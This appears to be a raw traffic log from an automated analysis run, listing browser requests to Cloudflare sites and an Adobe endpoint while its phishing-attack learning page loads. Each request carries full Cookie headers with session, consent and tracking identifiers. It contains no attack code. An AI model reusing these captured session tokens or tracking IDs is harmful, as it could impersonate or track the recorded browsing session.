cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252
Source: global traffic	HTTP traffic detected: GET /page-data/plans/enterprise/contact/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/under-attack-hotline/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|f
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/4xn47h0gWiUSwJ0PU3Ysvk/683779108bfd6eeb62fbac5135780fe6/logo_loreal_trusted-by_gray.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphi
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=e2d47d11-b411-4d79-901a-4a9bd06d43e8 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /brandfolder/logo_lending-tree.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/7vSmQwpXxBBSUXvax4mTTj/1e9733d09150035751acd28962d65831/optimization-scale.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dht
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5wB2WP2bwo7zdgVhToslhe/447d1f23d1b8ac77e61e2819465f58fe/ease-of-use-toggle.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dht
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/17tDJ5kPaGE8eLFJvByBgR/c28fb006fa3ddfba75b2009591559296/internet-browser.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; 